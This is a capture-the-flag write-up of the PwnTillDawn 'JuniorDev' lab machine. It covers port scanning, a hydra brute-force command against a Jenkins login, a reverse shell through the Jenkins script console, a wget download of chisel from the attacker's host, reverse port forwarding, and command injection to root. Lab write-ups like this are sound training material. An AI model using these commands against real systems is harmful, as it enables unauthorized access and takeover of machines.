PwnTillDawn - JuniorDev Writeup
This is a machine from the platform PwnTillDawn.
Check the platform by yourself and happy hacking:
https://online.pwntilldawn.com/
Machine details:
OS: Linux
Rated as: Medium
IP: 10.150.150.38
Goal: Become root and capture 4 flags: FLAG69.txt, FLAG70.txt, FLAG71.txt, and FLAG72.txt.
Manual OS fingerprinting.
Pinging the machine and based on the TTL I can conclude it’s a Linux box:
└─$ ping -c 1 10.150.150.38
PING 10.150.150.38 (10.150.150.38) 56(84) bytes of data.
64 bytes from 10.150.150.38: icmp_seq=1 ttl=63 time=163 ms
--- 10.150.150.38 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 162.577/162.577/162.577/0.000 ms
Port scanning.
I use two port scans, in the first one I discover all open ports. In the second I perform a scan over those discovered ports trying to discover the service versions and also try basic Nmap enum scripts.
First scan.
└─$ IP=10.150.150.38;nmap -p- --min-rate=5000 -n -sT -Pn -oG allports --open $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 22:40 EDT
Nmap scan report for 10.150.150.38
Host is up (0.16s latency).
Not shown: 62938 closed ports, 2595 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
30609/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds
- In the first part, I declare the IP of the machine as an env variable, because it reduces me time when doing the scans.
-p-
: Scan all TCP ports.--min-rate=5000
: I want to go fast, remember this is a controlled environment, not recommended in corporate environments.-n
: Don’t use DNS resolution (It goes faster this way).-sT
: Use TCP connect scan. I prefer this rather than the default (stealth).-Pn
: Don’t do host discovery on the machine, it can save me some time. Before the scan I always test reachability to the machine.-oG allports
: Saves the Nmap output in grepable format to a file called allports.--open
: Only shows me open ports.$IP
: This is where I call my env variable the IP of the machine.
When I’m facing some fancy bash commands that at first sight I don’t clearly understand there is a very useful resource (Thanks Henry): https://explainshell.com/
Remember I saved the output as nmap grepable format? Well, that was because I use a bash function that extracts the open ports from there and placed them in a bash env variable called ports. Thanks to s4vitar for this:
function extract () {
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS=/ | tr '\n' ','| sed 's/.$//' )"
echo "Open ports: $ports"
export ports=$(echo $ports | tr -d '\n')
}
After writing that function in my .zshrc file and using the source command to reload the config, this is the output:
└─$ extract allports
Open ports: 22,30609
Second scan.
└─$ nmap -p$ports --min-rate=1000 -sC -sV -n -Pn -oN targeted $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 23:34 EDT
Nmap scan report for 10.150.150.38
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 64:63:02:cb:00:44:4a:0f:95:1a:34:8d:4e:60:38:1c (RSA)
| 256 0a:6e:10:95:de:3d:6d:4b:98:5f:f0:cf:cb:f5:79:9e (ECDSA)
|_ 256 08:04:04:08:51:d2:b4:a4:03:bb:02:71:2f:66:09:69 (ED25519)
30609/tcp open http Jetty 9.4.27.v20200227
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Site doesnt have a title (text/html;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.71 seconds
-p$ports
: Only scan the ports I discovered from the previous scan.--min-rate=1000
: Fast scan.-sC
: Perform Nmap default scripts scan.-sV
: Do version detection.-n
: Don’t do DNS resolution.-Pn
: Don’t do host discovery.-oN targeted
: Save the output to a file called targeted, using the normal format.$IP
: This is the variable containing the IP.
Search for vulnerable versions.
Once are identified the service versions, let’s take a look in searchsploit:
└─$ searchsploit openssh 7.9
Exploits: No Results
Shellcodes: No Results
Papers: No Results
└─$ searchsploit jetty 9.4
Exploits: No Results
Shellcodes: No Results
Papers: No Results
Nothing useful was found here.
Jenkins login page.
When we visit the web service on port 30609 it shows a Jenkins login page:
I found that the default Jenkins username is admin
, and after trying default easy passwords
unsuccessfully I moved on and try to bruteforce the login page with hydra
.
Login bruteforcing.
First I intercepted the login request with BurpSuite to find the parameters being sent:
Then, the final hydra command looks like this:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.150.150.38 -s 30609 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid" -V -I -F
After a while it discovers the password:
...
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "gloria" - 649 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "tyler" - 650 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "aaron" - 651 of 14344399 [child 0] (0/0)
[30609][http-post-form] host: 10.150.150.38 login: admin password: matrix
[STATUS] attack finished for 10.150.150.38 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-08 20:30:18
The creds are admin
: matrix
Jenkins code execution.
In the Script Console page we can execute Java code, and we can use it to execute system commands:
So we set up a listener and then execute a code to get a reverse shell:
And we’re in:
└─$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [10.66.69.69] from (UNKNOWN) [10.150.150.38] 58262
whoami
jenkins
Then I followed this procedure to upgrade my rev shell to a very nice TTY.
Low priv shell as jenkins user.
Inside the machine, under the /var/lib/jenkins
we found the FLAG70.txt:
Then if we perform a search for FLAG69 we found the following:
jenkins@dev1:~$ find / -name FLAG69* 2>/dev/null
/var/lib/jenkins/users/FLAG69_7705914462374786576
jenkins@dev1:~$
Which turns to be a directory. Inside it there is a config.xml
file, and when we read it we found the first flag:
Doing some manual enumeration we discover port 8080
which wasn’t showed as up in the initial Nmap scan:
jenkins@dev1:~$ netstat -antup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 286 10.150.150.38:58264 10.66.69.69:6969 ESTABLISHED 636/bash
tcp6 0 0 :::30609 :::* LISTEN 467/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 1 0 10.150.150.38:30609 10.66.69.69:48350 CLOSE_WAIT 467/java
Port forwarding.
We transfer chisel tool to the victim machine to do the port forwarding.
jenkins@dev1:/tmp$ wget http://10.66.66.69:6971/chisel
--2020-07-29 11:04:48-- http://10.66.69.69:6971/chisel
Connecting to 10.66.69.69:6971... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3295912 (3.1M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[========================================================================================>] 3.14M 230KB/s in 14s
2020-07-29 11:05:02 (233 KB/s) - ‘chisel’ saved [3295912/3295912]
jenkins@dev1:/tmp$
Setting up the chisel server on the attacking machine:
└─$ ./chisel server -port 7171 --reverse 127 ⨯
2021/09/08 21:49:35 server: Reverse tunnelling enabled
2021/09/08 21:49:35 server: Fingerprint DHQvfo/V5XH2fPvjE630ikAnWDP3/GApoK5fkC/8ryk=
2021/09/08 21:49:35 server: Listening on http://0.0.0.0:7171
And then we fire it up as client mode on the victim machine:
jenkins@dev1:/tmp$ chmod +x chisel;./chisel client 10.66.69.69:7171 R:8080:127.0.0.1:8080
2020/07/29 11:10:24 client: Connecting to ws://10.66.69.69:7171
2020/07/29 11:10:25 client: Connected (Latency 160.054035ms)
New web service in 8080.
After doing the port forwarding the next step is to visit manually the page:
It is a calculator.
We found some interesting info looking at the source code:
<html>
<head>
<title>Jr. dev py example</title>
</head>
<body>
<div id="content">
<form action="/" method="post">
<div>
<input name="op1" type="text" />
+
<input name="op2" type="text" />
=
<input name="result" type="text" disabled="disabled" />
</div>
<div>
<input type="submit" value="Calculate" />
</div>
<!-- <img src="./static/FLAG.png"> -->
</div>
</body>
</html>
And with that we got the third flag:
PrivEsc via command injection in python web app.
By the title of the web page we can conclude it is a python web app.
Searching on the web payloads for command injection in python web apps I found this article.
And after trying different payloads I managed to get a reverse shell:
And we receive a root shell and with that, we capture the last flag:
And that was it.
Skills used.
- Port enumeration with
Nmap
. - Login form bruteforcing with
hydra
. - Jenkins code execution.
- Port forwarding with
chisel
. - Python web app command injection.
Final thoughts.
It was not a very difficult machine, I spent a lot of fun while doing it even though the last part of the command injection was hard for me, I had to try a different combination of payloads until I finally got the good one.